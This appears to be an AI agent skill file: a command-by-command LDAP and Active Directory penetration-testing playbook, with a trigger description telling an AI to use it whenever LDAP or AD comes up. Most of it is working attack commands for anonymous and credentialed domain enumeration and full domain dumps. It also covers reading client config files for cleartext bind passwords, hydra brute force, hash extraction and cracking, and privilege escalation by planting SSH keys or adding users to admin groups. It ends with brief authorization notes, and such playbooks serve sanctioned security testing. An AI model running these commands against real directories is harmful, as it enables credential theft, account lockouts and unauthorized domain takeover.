| name | ldap-pentest |
| description | Perform LDAP/Active Directory pentesting including enumeration, anonymous access testing, credential attacks, and domain information extraction. Use this skill whenever the user mentions LDAP, Active Directory, directory services, ports 389/636/3268/3269, ldapsearch, windapsearch, ldapdomaindump, or wants to enumerate users/groups/computers from a domain. Also trigger for AD reconnaissance, LDAP brute force, anonymous bind testing, or extracting domain information. |
LDAP Pentesting Skill
A comprehensive guide for testing LDAP and Active Directory services for security vulnerabilities.
Quick Start
nmap -p 389,636 --script ldap-search -Pn <IP>
ldapsearch -H ldap://<IP> -x -s base -b "" "(objectClass=*)" "*" +
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' -b "DC=<domain>,DC=<tld>"
LDAP Basics
Default Ports:
- 389/tcp - LDAP (unencrypted)
- 636/tcp - LDAPS (SSL/TLS)
- 3268/tcp - Global Catalog (AD)
- 3269/tcp - Global Catalog SSL (AD)
Directory Structure:
Root (dc=local)
├── Organization (dc=moneycorp,dc=local)
│ ├── Organizational Units (ou=it, ou=marketing)
│ └── Objects (cn=user, cn=computer)
Step 1: Initial Reconnaissance
Banner Grabbing
nmap -n -sV --script "ldap* and not brute" <IP>
Check Service Availability
nc -zv <IP> 389 636 3268 3269
ldapsearch -H ldap://<IP> -x -s base namingcontexts
Anonymous Access Testing
ldapsearch -H ldap://<IP> -x -s base -b "" "(objectClass=*)" "*" +
ldapsearch -H ldaps://<IP>:636/ -x -s base -b "" "(objectClass=*)" "*" +
netexec ldap <IP> -u '' -p '' --query "(objectClass=*)" ""
Step 2: Enumeration with Credentials
Basic User/Group/Computer Enumeration
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' \
-b "CN=Users,DC=<domain>,DC=<tld>" "(objectClass=person)" sAMAccountName userPrincipalName
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' \
-b "CN=Computers,DC=<domain>,DC=<tld>" "(objectClass=computer)" name
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' \
-b "DC=<domain>,DC=<tld>" "(objectClass=group)" cn member
Extract Privileged Groups
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' \
-b "CN=Domain Admins,CN=Users,DC=<domain>,DC=<tld>" "(objectClass=*)" sAMAccountName
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' \
-b "CN=Enterprise Admins,CN=Users,DC=<domain>,DC=<tld>" "(objectClass=*)" sAMAccountName
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' \
-b "CN=Administrators,CN=Builtin,DC=<domain>,DC=<tld>" "(objectClass=*)" sAMAccountName
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' \
-b "CN=Remote Desktop Users,CN=Builtin,DC=<domain>,DC=<tld>" "(objectClass=*)" sAMAccountName
Full Domain Dump
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' \
-b "DC=<domain>,DC=<tld>" "(objectClass=*)" "*"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\\<user>' -w '<password>' \
-b "DC=<domain>,DC=<tld>" "(objectClass=*)" "*" | grep -i -A2 -B2 "userpas"
Step 3: Advanced Enumeration Tools
windapsearch
python3 windapsearch.py --dc-ip <IP> -u <user@domain> -p <password> --computers
python3 windapsearch.py --dc-ip <IP> -u <user@domain> -p <password> --groups
python3 windapsearch.py --dc-ip <IP> -u <user@domain> -p <password> --users
python3 windapsearch.py --dc-ip <IP> -u <user@domain> -p <password> --da
python3 windapsearch.py --dc-ip <IP> -u <user@domain> -p <password> --privileged-users
ldapdomaindump
ldapdomaindump <IP> -u '<domain>\\<username>' -p '<password>' \
--authtype SIMPLE --no-json --no-grep -o /path/to/output
ldapdomaindump <IP> -r <relay_ip> -u '<domain>\\<username>' -p '<password>'
NetExec (CME successor)
netexec ldap <IP> -u <user> -p <password> --bloodhound -c All \
-d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
netexec ldap <IP> -u '' -p '' --query "(sAMAccountName=*)" ""
netexec ldap <IP> -u '' -p '' --query "(sAMAccountName=*)" "" \
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
Step 4: Client-Side Artifacts (Linux)
When you have access to a Linux host integrated with LDAP/AD:
ls -l /etc/sssd/sssd.conf /etc/nslcd.conf /etc/ldap/ldap.conf /etc/krb5.conf 2>/dev/null
grep -nE '^(ldap_uri|ldap_search_base|ldap_default_bind_dn|ldap_default_authtok|id_provider|auth_provider)\s*=' \
/etc/sssd/sssd.conf /etc/nslcd.conf 2>/dev/null
sed -n '1,120p' /etc/sssd/sssd.conf 2>/dev/null
ldapsearch -x -H ldap://<target> -D "<bind-dn>" -w '<password>' -b "<base-dn>"
What to look for:
- World-readable
sssd.conf / nslcd.conf
- Cleartext bind credentials (
ldap_default_authtok)
- Directory-backed SSH or sudo integrations
Step 5: Password Attacks
Brute Force with Hydra
hydra -l <username> -P <password_list> <IP> ldap2 -V -f
hydra -L <user_list> -P <password_list> <IP> ldap -l <domain>\\
Password Hash Extraction
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
john --format=SSHA <hash_file>
Step 6: Graphical Tools
Apache Directory Studio
jxplorer
Godap
- Interactive TUI for LDAP/AD
- Supports: simple binds, pass-the-hash, pass-the-ticket, pass-the-cert
- Features: search/create/change/delete objects, group management, password changes, DACL editing
- GitHub: https://github.com/Macmod/godap
Ldapx
Common Attack Vectors
1. Anonymous Information Disclosure
- Enumerate users, groups, computers without credentials
- Extract password policy information
- Map domain structure for targeted attacks
2. Credential Harvesting
- Sniff cleartext credentials (LDAP without SSL)
- MITM attacks with certificate downgrade
- Extract bind credentials from client configs
3. Privilege Escalation
- Modify
sshPublicKey attribute for SSH access
- Add users to privileged groups
- Change password attributes
4. Password Spraying
- Use enumerated usernames with common passwords
- Target accounts with specific attributes (pwdLastSet patterns)
Python LDAP Enumeration
import ldap3
server = ldap3.Server('<IP>', get_info=ldap3.ALL, port=636, use_ssl=True)
connection = ldap3.Connection(server)
connection.bind()
print(server.info)
connection.search(
search_base='DC=DOMAIN,DC=DOMAIN',
search_filter='(&(objectClass=*))',
search_scope='SUBTREE',
attributes='*'
)
for entry in connection.entries:
print(entry)
connection = ldap3.Connection(
server,
'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN',
'PASSWORD',
auto_bind=True
)
pbis-open Commands
If pbis is installed (/opt/pbis):
./klist -k /etc/krb5.keytab
./get-status
./lsa get-status
./enum-users
./enum-groups
./enum-objects
./list-groups-for-user <username>
./enum-members --by-name "domain admins"
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username>
Kerberos Authentication
ldapsearch -x -H ldap://<IP> -Y GSSAPI -b "DC=<domain>,DC=<tld>"
Configuration Files to Check
containers.ldif
ldap.cfg, ldap.conf, ldap.xml
slapd.conf
msadClassesAttrs.ldif (Microsoft AD)
nsslapd.sas_at.conf, nsslapd.sas_oc.conf (Netscape)
slapd.sas_at.conf, slapd.sas_oc.conf (OpenLDAP)
Quick Reference
| Task | Command |
|---|
| Banner grab | nmap -p 389 --script ldap-search -Pn <IP> |
| Anonymous test | ldapsearch -H ldap://<IP> -x |
| Get naming context | ldapsearch -H ldap://<IP> -x -s base namingcontexts |
| Dump domain | ldapsearch -x -H ldap://<IP> -D '<user>' -w '<pass>' -b "DC=<domain>,DC=<tld>" |
| Extract users | ldapsearch ... -b "CN=Users,DC=<domain>,DC=<tld>" |
| Extract computers | ldapsearch ... -b "CN=Computers,DC=<domain>,DC=<tld>" |
| Brute force | hydra -l <user> -P <list> <IP> ldap2 -V -f |
| BloodHound | nxc ldap <IP> -u <user> -p <pass> --bloodhound -c All -d <DOMAIN> |
Safety Notes
- Always have proper authorization before testing
- Anonymous enumeration may be logged and trigger alerts
- Brute force attacks can lock accounts
- Modifying LDAP attributes can break services
- Document all findings for remediation
References